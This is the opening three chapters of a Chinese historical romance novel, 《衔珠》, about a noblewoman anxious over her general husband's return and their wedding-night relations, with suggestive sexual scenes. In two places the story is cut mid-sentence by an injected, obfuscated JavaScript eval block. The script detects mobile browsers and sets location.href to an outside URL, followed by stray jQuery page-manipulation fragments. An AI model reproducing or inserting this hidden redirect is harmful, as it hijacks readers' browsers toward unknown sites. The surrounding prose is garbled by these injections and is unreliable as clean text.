《衔珠》
1. 第 1 章
孟冬时节,一场大雨刚过。
檐下卷帘裹在浓厚的水汽里,竹篾边缘泛着一层白霜,阶前积雨刚扫,半开的支摘窗内,隐约可见锦绣堆叠的软榻一角。
塌前摆着一双玉色的缎面云头锦履,鞋尖缀着米珠攒成的山茶,明珠生韵,花如积雪。
暖阁内的光线,浓稠像是化不开的墨,更漏声穿过纱帐,檐下水珠滴滴答答。
盛菩珠闭着眼睛,半张脸都陷在攒金丝弹花软枕上,又潮又热空气里浮动着清甜的鹅梨帐香,带着晨露未晞的馥郁。
这时,床榻微陷,一股灼热的气息贴上她的背,先是从白皙的后颈,缓缓下移,抚至纤细的腰侧。
微凉指尖带着薄茧。
呼吸蓦地一窒,她像是醒了,又像在梦中,猛地仰头,撞进一双清冷危险如同蛰伏猛兽般的眼睛。
想要挣扎,可身体似被无形的枷锁禁锢,灵魂却被不容抗拒的压迫感侵袭。
当脚踝再次被握紧时,盛菩珠醒了。
初冬的天气,脖颈上覆着一层清晰可见的薄汗,如云乌发,只用一支累丝嵌玉的簪子斜斜绾在髻边,鬓角湿透,身上搭着海棠红的织金锦衾,不知道什么时候全都堆积在榻尾,卷着她一双白似凝霜的小腿。
不远处,紫檀八仙桌上搁着未喝完的霍山黄芽,紫砂泥炉里的水沸过一遍又一遍,壶嘴喷出的白雾,混着雨后湿冷的空气,两相一冲化作流云似的纱幕,给人一种仙气萦绕的错觉。
“娘子,该醒了。”梨霜单手捧着一束腊梅,另一只手去解她腿上缠着的锦衾。
“再睡会儿。”盛菩珠咕哝一声,翻了个身,觉得可能是刚才入睡姿势不对,才会又梦见那晚。
于是她打定主意要重新睡,当即胡乱摸了本书就往那张生得极盛的小脸上盖,因不满而嘟起的唇如朱砂点染,两颊红润,颦笑间是那种扎眼的绝色。
“娘子快些起吧,再贪睡下去,夜里又该愁了。”梨霜一面说着,转身手脚利落把腊梅插到花几上的白瓷瓶内。
盛菩珠叹了口气,闭着眼睛懒洋洋问:“现在什么时辰?”
“未时刚过半。”
梨霜揭起壶盖,往壶里重新添了水,又去外间浸湿一方帕子,絮絮叨叨道:“娘子平日夜里看话本子,白日贪睡也就算了,可眼下这雨后,一冷再冷,等过些时日郎君回朝,娘子该如何习惯得了?”
“……?”盛菩珠顿时睡意全无,连眼睛都睁圆了。
“距离他回来?还剩几日?”她拥着锦衾,一下子坐了起来,伸手接过梨霜递上前的冷帕,摁在眼睛上醒神。
梨霜声音跟着一顿,瞬间泄了气:“按照郎君从玉门关出发的时间掐算,恐怕也就剩六七日了。”
盛菩珠闻言立马又躺了回去,像是自我催眠一样喃喃自语:“还有六七日,那不打紧。”
“怎能不打紧,婢子求姑娘好歹上上心吧,嬷嬷近些日急得嘴角都燎了泡,耐冬姐姐连夜里做梦都是在愁如何藏姑娘平日看的那些杂书和书房里的图纸。”梨霜声音瞬时尖了,急得在榻边团团转。
“唔,你转得我头晕。”盛菩珠蹙了蹙眉,抬手扯过帕子往脸上一蒙。
半透半湿的丝绢随着她的鼻息,被暖隔里热气一烘,就像一层柔雾似的,朦胧中更衬得她那张脸有一种生命力极强的明媚张扬。
世家大族重视礼法规矩,子女婚姻更讲究门当户对。
盛菩珠作为崇文侯府嫡长女,其祖父盛柏涯为当朝太子太师,叔父盛延璋任国子监祭酒,而她又是盛家老太太亲自带在身边严格教养出来的女郎。
作为世家贵女之典范,她的婚事自然千挑万选,最终在及笄后的次年,也就是贞德七年,嫁给百年谢氏的嫡长子谢执砚为妻。
‘谢盛’两姓联姻,世人皆道璧人成双,天作之合。
可惜大婚当夜,谢执砚便因军中急召,披甲远赴戍边。
两年转眼而过,盛菩珠在夫君不着家又无长辈管束的日子里,过得那叫一个——如鱼得水。
眼下那人就要回来了,她潇洒自在的好时光必然是要跟着结束的。
更重要的是……
谢执砚的回来,也代表着,夫妻敦伦一事亦会成为日常。
盛菩珠脑海中不自觉浮现出新婚夜那晚——纤薄的身子不自觉轻颤了下。
世人皆说他们天作之合,殊不知……
他们那个地方一点都不合!!!
他太大了。
时隔了几年,她依旧能想起那夜谢执砚的庞大与失控,与他斯文清冷的君子皮相截然相反。
以至于经常做“噩梦”。
罢了,不能想!不能想!不能想啊!
盛菩珠忽而扯下脸上的帕子,动静很大地扯开锦衾,那张过分漂亮的脸上根本看不出任何颓废的情绪,反而染了潮湿的胭脂色,加之午睡方醒,脸颊边压出浅浅的睡痕。
“外头的雨可彻底停了?”
梨霜没察觉出不对劲,摁了摁发昏的眼睛,踮起脚推开支摘窗探身瞧了许久:“娘子,雨已经停了,但冷得厉害,这时节外边的水汽一时半会也蒸腾不掉,夜里恐怕要落雪了。”
“行吧。”盛菩珠点点头,笑眯眯地吩咐,“那就收拾收拾准备出门,正好去琳琅阁把杜嬷嬷和耐冬她们一起接回来。”
梨霜张了张嘴,反驳不出一个字,只得长吁短叹地叮嘱:“娘子往后出门须得谨慎些,婢子们可是日日都在替您提心吊胆。”
盛菩珠笑了笑,表情十分骄傲:“我自是醒得,等我把琳琅阁开遍整个大燕,你们都是我手底下的第一话事人。”
琳琅阁在平康坊内,位于朱雀街以东,比较靠近东市,若是站得高还可远眺皇城。
精美的木质结构高阁,从外边打一眼瞧去,一共分为三层。
一楼是用于买卖普通的珠宝首饰,身份更是不论贫富,不论男女,但到了二楼楼梯前会有一道玉珠隔帘,隔帘后方按着琳琅阁的规矩,只有女子方可上去。
至于三楼,则是按照客人消费银两的高低,能上三楼得掌柜亲自接待者可以说是寥寥无几。
此刻盛菩珠正坐在琳琅阁三楼的窗旁,案前放着账册,手指上下翻飞拨弄着一把玉算盘,她一心二用还同时和几个贴身婢女在嬉闹闲谈。
忽然,轰隆隆的马蹄声从远处传来,甲胄摩擦兵器碰撞出的声音如雷鸣般,像是要把檐下才结不久的冰凌震碎。
“是谢家郎君的玄甲军。”
“谢世子提前归朝了。”
“世子只用了两年时间就打退了占据河西走廊近四十年的突厥和回鹘部族??,拿回了沙碛和草原的控制权,十战十胜,把他们赶出了玉门关。”
街道两旁熙熙攘攘的人群中,也不知是谁喊了一声,紧接着金吾卫在前方开道,而后方黑压压的军队就好像汹涌的潮水一样,涌入长安城。
这一刻,窗子内外被隔成了两个世界。
盛菩珠探身往下看时,谢执砚恰好骑马从琳琅阁前经过,通体漆黑的战马踏在坊道宽阔的青石板路面,蹄声如同鼓点,踩在人心上。
他未戴头盔,乌发以墨冠高束,身后三千玄甲精骑,蜿蜒没有尽头。
那人像是感受到她的目光,骑着高头骏马,朝上仰望。
仅一眼,男人眉梢棱角分明,目光里蕴着初冬的冷意,宽阔有力的肩腰被那庄严持重玄黑压着,就像是一头蓄势待发的豹子,唯有绣满繁复十二章纹的袖口下方,露出一截如霜似玉的腕骨。
猝不及防撞进那双深不见底的眼睛,盛菩珠心头一震,连呼出的气息都像是被冻住。
她脑子里一瞬间想到梦里也是这双眼睛的主人,宽大手掌握紧她白皙纤细的脚踝,猛地——
……啊啊啊!
死脑!打住!必须打住!
不能再想了!
盛菩珠本能地想避开那目光,但她向来傲气,若是仓皇后退,倒是显得自己心虚似的。
于是强撑着迎上那道视线,还刻意装作漫不经心往下瞥了眼,可偏偏她现在姿势别扭,手里那把刚才算账用的白玉算盘,好死不死一个没拿稳,当头砸了下去。
“完了。”
盛菩珠以手遮眼,心道倒霉,根本就搞不懂,明明还有六七日路程的男人,怎么就提前回来了呢。
而且方才算盘砸落的位置,虽然她视线收得快,但隐约感觉似乎不太妙。
不会是……
那里吧?
砸得这么准吗?
怕哪儿砸哪儿?
心脏怦怦乱跳。
她既心疼用了十多年的宝贝算盘,又怕被那人认出身份,若要秋后算账,她这就是自投罗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740101|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
网。
“娘子,您快收拾收拾,赶紧回府。”
“郎君提前归家了。”杜嬷嬷从楼上一路上来,气喘吁吁。
盛菩珠有气无力无奈摊了摊手:“我知道了。”
杜嬷嬷惊讶抬头,推了推一旁的耐冬:“娘子今日怎么这般好说话。”
耐冬目睹全程,怕吓着杜嬷嬷,只得心虚一笑:“许是娘子着急见着郎君。”
杜嬷嬷欣慰看向盛菩珠。
盛菩珠越想越懊恼,只得胡乱点了点头。
大军归朝,坊道四下堵得厉害,就算急赶慢赶,等回到靖国公府已经是半个时辰后的事了。
好在因为谢执砚提前归家,府中上下也是忙得脚后跟打着后脑勺,盛菩珠在丫鬟们的掩护下悄悄混进人群里,谁也没注意到她是最后一个到的。
以谢老夫人为首的乌泱泱一大群人站在国公府门前等候,一阵风吹过,鹅毛一样的雪花纷纷扬扬落下,还未曾细看,就被男人脚上的黑靴碾过。
谢执砚玄甲未卸,从战马上翻身而下,他目光扫过众人时,在某一处微妙顿了顿,而后若无其事朝为首的两位长辈行稽首礼。
“父亲,祖母。”
“孙儿不负所望,平安归来。”
盛菩珠站在斜后方并不显眼的位置,目光轻如蜻蜓点水,仿佛只是不经意眨眼时往他小腹往下的位置擦过,把那点探究掩饰得很好。
看他利落下马的姿势,应该没有砸得太严重。
又或者是因为这男人能忍?
一时之间,她小脑瓜乱糟糟的。
其中清晰的想法就是——如果坏了该多好,她就不用承受那东西了。
花烛那晚若不是谢执砚接到军情走得急,她恐怕会成为洞房夜第一位死掉的新嫁娘。
“回来就好,快些起来,等与你父亲去宗祠拜过祖先,就赶紧回屋里换身暖和的衣裳,晚膳也不必同我们一起,早些歇下才是正理。”老夫人伸手去扶,指尖不小心碰到他玄甲上的冰碴,冻得一颤,眼眶瞬间红了。
她身旁自然有贴心的媳妇忙笑着上前安慰:“这是大喜的日子,三郎平安归家,您只管开开心心才对。”
话音刚落,立马就有妇人接道:“可不正是这个理,母亲莫要忘了三郎都已经娶了媳妇,当初若不是走得急,但凡多留些时日,恐怕都是当爹爹的人了。”
谢老夫人这才一拍手掌心,笑着用帕子擦了擦眼睛:“瞧瞧我是老糊涂了,三郎不在府中,我与菩珠这孩子相处久了,倒是把她当成府里头还未出阁的闺女,忘了她是三郎媳妇。”
人群里,盛菩珠被点了名,她就算再不愿意,也得举止端庄地走到太夫人身前,装作十分心疼自己夫君的模样用帕子摁了摁眼角,贤淑温婉朝长辈撒娇:“是祖母偏疼孙媳。”
“好孩子,委屈你了。”老夫人怜惜道。
盛菩珠却坚定摇了摇头,用一种特别真诚的语气道:“孙媳从未觉得委屈,郎君在外是建功立业,守的是一方百姓安宁。”
“无论于家还是于国之大义而言,孙媳只觉得能嫁此夫君,是孙媳之幸。”
所有人目光皆是一震,谢老夫人又再次红了眼,连向来不苟言笑的靖国公眼中都多了几分动容。
谢执砚抬眼,那双看不出任何情绪的眼睛,透着一股无形的凛然,压向她。
不知是信了,还是没信。
盛菩珠才不管他信不信,只当全然不知。
她唇角的笑弧就像是用尺子刻出来的,既不多一分让人觉得过于跳脱,也绝不会过淡而显得没有诚意。
“你们都是好孩子,无需我费心。”谢老夫人笑着拉过两人的手,合握在一起,笑眯眯道,“明宗媳妇肚子里都怀上第二个了,你们与明宗同年成婚,既然执砚已经回来,也该抓紧时间要个孩子。”
盛菩珠腼腆一笑,装作害羞的模样:“一切都听夫君的。”
听他……才怪。
万一孩子没生出来,她先承受不住,痛死怎么办。
但这事儿,她说了不算。
转念又想到之前砸下的算盘砸,内心不停祈祷:让我的‘小夫君’被砸坏……哦不,这个愿望好像有点减功德,她可是善良娴静的小娘子。
那还是……
菩萨保佑——砸小些吧。
求求了!
2. 第 2 章
求神拜佛求的是心理安慰,然而考虑到现实——
首先,那个地方是不可能被砸小的;其次,盛菩珠思及谢执砚矜贵从容、没有丝毫狼狈的仪态,眉心轻蹙:到底砸没砸到啊?!
谢执砚和长辈去宗祠祭拜祖先。
“嬷嬷,我好累啊。”盛菩珠先独自回到韫玉堂,就浑身没骨头似的往圈椅上一歪,深感剑悬头顶的绝望。
她声调拖得长,顶着那张夺目晃眼的小脸,整个人却像是霜打了的茄子,格外蔫巴。
杜嬷嬷知她性子,这恐怕是遇上烦心事了,只得上前哄道:“我的好主子,郎君才归家,眼下您可不兴这犯懒的毛病,若传出去可是要落人话柄的。”
盛菩珠惆怅叹了口气,一想到今晚要面对那东西,更加往椅子里缩了缩身体,连声音都显得有气无力:“顾不得那么多了……”
她心情不好,转头望着窗外纷纷扬扬的大雪,就好像回到了新婚那夜,而且那种事情和话本子里写的一点都不一样,他们不契合就算了,他力气还大得吓人,也幸好后来接了军中急报匆匆离家,不然可不止一次……
盛菩珠闭着眼睛,单手撑着脸颊蜷在圈椅里,露出一截低垂的颈项,白得近乎透明。
一旦想起那晚发生的事,她淡粉色的指尖微颤,感觉身体内有种山雨欲来的灼热,足踝纤细,双腿不自觉并拢起来。
他给的东西实在太大,她那么小。
最要命的是,那种感觉像是要把她的灵魂拧干揉碎,再重新滋养出新鲜的模样。
带着这种不安的情绪,她轻轻咬了下舌尖。
啊!
打住!
不能再乱想了。
盛菩珠坐起身,一双杏眼覆着水光,像是藏了天上的星子,她走到梳妆台前,朝身后的梨霜吩咐。
“帮我把头上的簪环卸了吧。”
她视线落向镜中,看到自己从耳垂漫到颈侧的薄红,纤腰如柳,柔而不弱,就连散落发梢都带着柔软的甜香。
“夜里换那件绣有百蝶穿花图的袔子,外头再搭玉兰色薄绸寝衣,我穿之前记得拿苏合香熏过一遍。”盛菩珠用茶水润了润唇,声音淡淡。
恰在这时,她余光瞥到一个出尘的身影。
谢执砚已站在卷帘外。
余晖将落不落,把帘子外那道沉默的身影拉得愈发修长清隽。
盛菩珠拢了拢浓黑如绸缎似的青丝,反倒是衬得她那双手,愈发的细长柔美,瓷白的脸只有巴掌大,卸了簪环,没了珠翠的堆砌,素到极致反而透出那种惊心动魄的浓烈色彩。
她没料谢执砚回得这样快,急忙站起来,一个无缝转身绕到屏风后方,装作很忙的样子打开衣橱。
“……”目之所及,放得满满当当的柜子,全部都是她自己的衣裳。
前些日,她让人从成衣坊陆续给谢执砚定制的衣裳,是放哪儿来着?
盛菩珠苦思冥想。
啊!
关键时候,她那不争气的脑子,竟然是一片空白。
盛菩珠抿了下饱满欲滴的唇,着急去看梨霜,她眼睛眨了眨,浓密微卷的长睫就像蝴蝶轻轻扇动的翅膀,透着些许急迫。
可是,已经来不及了!
谢执砚走向她,宽肩窄腰,身形挺拔如松,一双长腿迈进屋中,她至少得走两小步才行。
盛菩珠只是略微迟疑,就果断迎上去。
“给郎君请安。”她眉眼温婉,双手展翅交叉于胸前,微微屈膝行礼。??
男人身上的玄甲已经换下,能看出有简单清理过,他站在那里没有戎装时的凌厉气势,可那张脸,清雅蕴藉,连骨相都是生得恰到好处的比例完美,很淡的眸光却越过她,落在身后的博古架上。
他并不掩饰,反倒是直白地打量起这个他离家前已经住了十几年的院子,才短短两年,却已经找不出一点他记忆中的东西。
盛菩珠微仰起头,浓而长的眼睫颤了一下,用很软的声音问:“郎君是先沐浴,还是先用晚膳?”
谢执砚终于收回目光,微侧过脸,冷而平的语调:“先沐浴。”
盛菩珠心里的小拳头已经狠狠挥了一百下,但脸上的笑容却比任何时候都温柔:“水已经让人备好,郎君车马劳顿正好解乏。”
她漂亮的眼睛轻轻从他身上掠过,眼底藏着一缕难以捉摸的审视与怀疑的神色。
“嗯。”谢执砚格外敏锐,他察觉到她的打量,只当不知。
到底有没有砸伤他?
盛菩珠脑子里这句话反反复复,她一颗心高高悬着,但还是竭力压下翻涌的心思。
单从衣服表面,根本看不出他有不妥,他那张脸更不可能看出端倪,除了看起来更加高大、气度俨然外,就连仪态都是没有丝毫瑕疵的。
他如今既已归家,那么夫妻敦伦就是天经地义,除了不算契合外,她并不可能直言拒绝。
但若真被她的算盘不慎砸伤,至少……至少能有更多心理准备的时间。
总之一切不能怪她,谁让他提前归家,打她一个措手不及。
想到这里,盛菩珠念头一转。
也罢,既然是夫妻,哪里还能顾虑那么多,她还不如亲自验证,总比时刻提心吊胆来得好。
“就让妾身伺候郎君沐浴吧。”盛菩珠心里谋算着,声音温和又识大体。
谢执砚默了片刻,没答她,径自走进浴室。
不说话,等于默认吗?
盛菩珠不动声色瞥了眼男人走远的背影,自然是当他默认了。
“娘子,这是郎君的衣裳。”梨霜看准时机捧着衣服上前。
盛菩珠心道,她的婢女果然在关键时候最懂变通,就像她一样聪慧。
“郎君,换洗衣裳给你拿进来哦。”她抱着怀里的东西,单手勾起浴室门前的斑竹卷帘,但也只恰好能看到她半张漂亮小脸的程度。
浴室里,白雾氤氲似一汪流动的明月光,水汽凝结,偶尔一两滴从梁上砸在乌墨色的砖石上,滴答声响。
昏朦的烛火,被又湿又热的空气压得低低的,连呼吸都因着过于潮湿,像是被一种无形的慵懒包围。
谢执砚身上宽袍领口已经扯松,露出内里雪白的单衣,他双臂撑着浴桶外缘,眉心紧皱,正盯着水面上漂浮着的——
玫瑰、牡丹、丁香……各色花瓣落在他眼底,花香被热气一熏,酝出一种近乎醉人的馥郁芬芳,甜而不腻能把人浸透。
这香,从踏进韫玉堂的那一刻,他就被这些若有若无的细腻围裹,像是一种提醒,更像是某种宣誓。
放眼望去,浴室放置的都是他离家前用惯的东西,一样没少,甚至连位置都不曾挪动,明明应该是熟悉的一切,可样样都让他陌生。
“郎君?”盛菩珠又喊了一声。
“放在后头的架子上即可。”谢执砚终于收回目光,朝她看去。
盛菩珠就这么和他眼神对视上,隔着朦胧的白雾,并不甚清晰,反而显得他那双眼睛,漆黑深邃,像是能把人看穿的审视,无声却迫人。
她眼睫颤了两下,似有片刻失神,慢慢抬手将鬓角一缕青丝挽至耳后:“衣裳鞋袜都是妾新给郎君缝制的,早早就让人洗净,晒过太阳。”
谢执砚将目光偏些许:“有劳夫人。”
水雾掩映,明明近在咫尺的身影被热气模糊了轮廓。
因为这样,盛菩珠反能而大胆直白地仰起头,他身形高挑,肩颈线条宽而凌厉,即便是垂下眼眸,也给人一种高高在上的俯视。
那种压迫,是他与生俱来的,就算情绪一贯收敛,也让人心存敬畏。
他就是天生的上位者。
想到这里,盛菩珠身体不禁一颤,不是冷,而是莫名的闷热。
雾气穿过衣服薄薄的料子,像是把热意都留在她皮肤里,两人隔着浴桶,一切都变得黏稠,他那抹若有若无的目光,如同有实质,压得她快喘不过气。
就像是梦中……
他掌心冰凉,那——却热得厉害。
“呼……”盛菩珠呼出一口热气,心道赶紧打住!
她脚尖动了动,往前迈了半步,无形中拉近了彼此距离,双手试探性抬起,见他只是平静看她,于是轻轻落在他领口下方的玉扣上。
“郎君归朝,刚好遇上润雪丰年,是难得的好兆头。”
盛菩珠动作很慢,也不熟练,她想着长安城的大雪,不禁有些好奇地问:“那……玉门关是什么样的?”
“明月会从祁连山脉升起,黄沙漫天,山上积雪终年不化。”谢执砚微俯下身,看到她纤细的手指落在金玉革带上,她应该从未做过这种事,系带和扣子都快缠成死结了。
他抬手,帮她挑开革带上繁琐的金玉扣。
盛菩珠咬了咬唇,目光凝在他身上最后一件白色单衣。
“夫人。”落在他领口的手,忽然被男人宽大的掌心握住。
“嗯?”盛菩珠一下子没反应过来。
谢执砚看向手臂侧边一抹不算明显的暗红色,想起那道还未彻底愈合的箭伤,动作不由一顿,微微皱眉看过去。
烛光缠着纱似的白雾落在她身上,将她身形勾勒婀娜,再配上一张过分明媚的小脸,灵动和无辜的眼睛。
他略微沉思,这样大家族中娇养出来的闺秀,恐怕从未见过血肉模糊的画面,若是冲撞了,倒显得他不知规矩。
“剩下的,就不劳烦夫人。”谢执砚掌心不由加大了力道,轻轻拂开她的手。
都到这一步了。
现在让她走?
盛菩珠气结,当然更多的还是不死心。
她慢慢眯起眼睛,借着雾气的遮掩更为放肆地盯着他小腹看,可惜就算隔着一层布料,她视线也穿不过去。
如果是这样半途而废,怎么能甘心。
想到这里,盛菩珠干脆一不休二不作,装作没站稳原地趔趄一下。
眼疾手快,目的明确要去扯那块碍事的布料。
好巧不巧,一个是装没站稳,另一个信以为真了。
两人同时往前迈了一步,就这样该死地撞在一起。
盛菩珠鼻尖撞上男人坚硬的胸膛,撞得她泪眼汪汪,等视线恢复清晰的时候,对上那双幽邃沉郁的眼眸。
“夫人。”他明明什么都没说,可短短两字,却是那种不容置喙的严肃。
盛菩珠被他这样不置一词凝着,居然有种大祸临头的错觉。
算了,不跟他计较,眼下还弄不清他的脾性,最好适可而止才是正理。
“嬷嬷,我也要泡澡,快累死了。”
盛菩珠走到外间,朝杜嬷嬷撒娇,眼下她急需泡个花瓣澡,转移注意力。
杜嬷嬷十分清楚自家小主子娇懒惯了,澡间和沐浴用的水早早就妥帖备着了。
“娘子,婢子带你去厢房的小澡间可好?”
盛菩珠点头:“还是嬷嬷体贴我。”
浴室一角,特意点了她最喜欢的鹅梨帐香。
白雾攀着纱幔游走,聚散无端。
晃动的烛影落在盛菩珠凝白的肩头,水波微荡,凝脂一样的肌肤,在如绸缎般浓黑发丝的衬托下,更显出那种既端庄中正又妩媚绰约的娇。
杜嬷嬷用银匙挖出特制的香膏,先在手掌心暖开,才轻柔地往她白皙脊背上涂抹。
盛菩珠慵懒靠在浴桶边缘,就像一只偷摸着打盹的三花猫,她视线落在自己平坦白皙的小腹上,眼前又极快地闪过一些模糊而混乱的画面。
也不知是那一晚留下的阴影,还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740102|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是她经常做的“噩梦”,总之在她记忆里,当身体被禁锢住,她平坦的小腹,在灵魂被穿透的瞬间鼓了起来。
想到这里,她用指尖稍稍用力戳了一下,那处皮肤就以肉眼可见的速度漫出一道淡红的指痕。
养得这样娇嫩精贵,哪里受得住他的力气。
虽然方才没有从谢执砚那里探查出什么事情,但……大概率是不影响今晚。
盛菩珠心里一根弦绷得紧紧的。
倏地,她视线落在杜嬷嬷手里的香膏上。
忽然心底生出了一个绝妙的主意。
总之,先提前做好会被“小夫君”造访的准备,这叫未雨绸缪。
然后顺便……
再最后试探一次。
盛菩珠的眼睛忽地亮了:“嬷嬷可还记得我出嫁那晚,祖母偷偷塞给我的伤药。”
“我可是记得祖母千叮咛万嘱咐,说那药膏精贵着,无论伤着哪里涂上一点就能止血消肿。”
“娘子……现在就要用……?”杜嬷嬷欲言又止。
盛菩珠弯了弯唇角,理所当然道:“郎君从战场回来,身上想必是带着伤的,我作为妻子,须得体贴些,既然有这等好东西我自然不能藏着掖着。”
“可是,那个膏药是给娘子敦伦事后准备的。”杜嬷嬷声音干巴巴解释。
盛菩珠点头:“我知道,都是活血消肿的嘛,对伤口疗效肯定也很好吧。”
治哪里不是治呢,反正都是用在身体里的东西。
等会儿她主动提出要给谢执砚上药,如果他不好意思拒绝了,那么一定就是被砸到了不可言说的位置。
而且这样子也足够委婉,没必要直白莽撞去揭人伤疤。
盛菩珠觉得自己简直是全世界最有智慧、最温柔体贴的小娘子。
杜嬷嬷觉得奇怪,但又三言两语被说服了:“……是这个道理没错。”
当即从藏得隐蔽的箱子内翻出一个巴掌大的匣子递上前。
盛菩珠接过打开,看着里面那个和胭脂盒差不多大小的天青色带盖瓷罐,陷入沉思。
*
夜色阑珊,今日无月,几点碎星的辉芒,落在少女半干的发梢上。
盛菩珠站在卧房门前,暗暗平缓呼吸,才伸手坚定不移推开房门。
屋里静悄悄的,梨霜带着几人早已退远,只在屏风后方留了一盏鎏银八宝明灯。
两人四目相对。
谢执砚半倚在床榻上,衣襟松松,但领口位置因为他微侧的肩膀,依稀露出锁骨前端冷白的肌肤,从凌厉的下颌到微凸的喉结,再顺着阴影往下,是他完美如月牙般紧绷的肩颈的线条。
他握着手里的书并未看她,冷峻侧脸,薄而性感的唇。
盛菩珠朝他走去,越来越近。
直到男人修长指尖漫不经心翻过一页,纸张在安静的夜里发出突兀的声响,更像是一种无声的催促。
“郎君。”盛菩珠朝他行礼,柔和的眉眼覆着些许潮湿,就像饱满即将盛放的花。
花香浓郁,带着一种近乎醉人的芬芳,并不止单纯的甜,更像高雅的月色被撞碎撒在甜美含苞的花蕊上。
谢执砚抬眸,暖香混着少女肌肤透出的莹润,乌发如瀑,就算未施粉黛,淡妆浓抹总是相宜。
他低头静默数息,随即淡淡地说:“何事?”
盛菩珠毫无察觉,双手捧着一个小瓷罐,矜持得体地开口:“药膏,治跌打损伤活血化瘀的神药,郎君先前沐浴不是说身上受了伤,妾身为你涂药。”
谢执砚嘴角轻轻一勾。
“不必。”
“我自己上药即可,你不方便。”
他单臂撑在膝上,目光好似有些玩味,骨节分明的手搁下书册,随着他的动作,单衣系带松开,衣料滑落露出宽阔的肩背。
说话间,一滴水珠从他潮湿的发梢砸向紧绷的腹部,然后滑入绸裤边缘,消失不见。
不方便?
盛菩珠握住药膏的手一紧,内心狂跳不止,他不方便是指……
这是被砸到了不可言说之地?
嘶——
今晚可以不和“小夫君”接触了?!
菩萨果然还是眷顾她的!
盛菩珠她紧绷一晚上的心绪,终于放松,唇角不受控制翘了翘,她首次朝他露出发自内心的笑容,动作迅速收起药膏。
“时辰不早,妾身去把发梢上的水汽绞干。”
谢执砚抬眼沉静地看着她:“好。”
盛菩珠去了外间,招手让婢女进来。
垂下来的头发先用柔软的丝绸擦拭,等瞧着差不多了,拿炭火烘一遍,再仔细涂抹上特制的香膏,仅用一根金质镶玉蝴蝶发簪绾一个松松的髻。
“娘子。”
“夜里要备水吗?”杜嬷嬷忽然压低了声音问。
盛菩珠一愣,悄悄朝里间看去,静得好似连呼吸都清浅,应该是睡着了。
“水……就不必了。”她很安心地做出这个决定。
等人都退出去,盛菩珠轻手轻脚朝里间走,帐子放下来,模糊能看到一个修长的身影已经躺下。
她心底悬着的那一口气彻底松了,也没多想,抬手掀开单独属于她的那床锦衾,在他身旁躺下。
两人离得那样近,只要稍微动一动就能碰到对方的程度,然而还没等她反应,就被他干脆利落压到身下。
他周身的气息实在太有侵略性,整个人都透着一种罕见的压抑。
“夫君?”盛菩珠身体轻轻一抖,睁圆眼睛看他。
什么意思?
他的举动,让她有些反应不过来。
谢执砚低头与她目光对视,眼中带着说不出的深意。
“夫妻敦伦,天经地义。”
3. 第 3 章
夫妻敦伦?
他……不是?
盛菩珠觉得不对,但她现在脑子像是被搅成了一团糨糊,垂挂的纱帐像是浴间还未散尽的雾,光影混乱,她仰面倒在一团柔软的锦衾里。
谢执砚双手就撑在她枕头的两侧,幽深的眼底近在咫尺,单只是目光,就压得她快喘不过气。
“闭眼。”他忽然开口,声音低沉而缓慢。
盛菩珠那双如小动物般的眼睛,连里头的茫然都叫人看得一清二楚,她已经想不起该干嘛,只能依言照做。
她却不知,她这种后知后觉的懵懂,在他眼里就是一种默认。
眼睛闭上瞬间,卧房灯影跟着一晃,陷入无边的黑暗。
谢执砚喉结动了动,手臂肌肉紧绷,一直以来平如湖水的眼眸里,像是有了动荡。
谢氏百年的规矩,既是压制,也是滋生疯长的养分,加上数十年如一日的压制与自律,以至于变得有些极端。
他并不温柔,与生俱来的强势,加上得天独厚的身体条件,就算收敛,在这种事情上一旦开始就难以克制。
更何况夫妻敦伦,本就是礼。
依礼行事,不算僭越。
盛菩珠闭着眼睛,帐子内空间狭小,他的鼻息像冬日的炭火,可那一双手却似湖面结出的冰凌,而她被淹在他口中玉门关外漫天的黄沙里。
他力气实在大,又是不知收敛的凶。
冷与热交替,风搅动起干涩的沙地。
也不知这样过了多久,她张着嘴呼吸蓦地一窒,眼泪不受控制涌出来,忽然空气变得湿润,细细的雨从更深的地方落下来。
盛菩珠感觉自己变得全然失控,因为有了雨水的滋润,那些不契合,成了令她无法招架的饱满。
身上绣着百蝶穿花的袔子,扭绞着玉兰色薄绸寝衣,胸前的蝴蝶如同扇动翅膀从布料中飞出来,鹅梨帐香让人感官成倍放大。
雨越下越大,要把一切浇湿浇透。
在这场姗姗来迟的暴雨中,盛菩珠终于找回了自己的声音:“你不是……不是……”
她睫毛抖了抖,在嘴快过脑子把‘砸伤’两字喊出来前,赶忙声音转了个弯。
含糊不清问:“不是睡着了吗?”
“睡了吗?”谢执砚微抬下巴,逼人的眼神意有所指,显得那样不近人情。
聪明如他,怎会不知她从一开始小心又隐晦地打量,到最后甚至不惜得寸进尺地试探,虽然她觉得自己那点心思藏得很好。
只不过……
他眉心轻蹙,没想到敦伦一事竟如此艰难,她脸色看着有些白,神色虽不算痛苦,但也能看出并不适应。
罢了,还是尽快结束。
他心底一叹。
盛菩珠咬着舌尖打了个激灵,感觉人在水里晃动,暴雨淹掉整个沙漠,她快被冲垮,然后死掉。
在失去意识前,她往上攀附的手,好像摸到他手臂的位置缠了绷带,离得近时还能闻到一股淡淡的金疮药香。
……
这一夜,盛菩珠睡得并不好,感觉人是累昏过去的,但精神却一直在半空中飘着。
不知过了多久,她终于从黑暗中挣扎着醒来,可眼睛依旧困得睁不开。
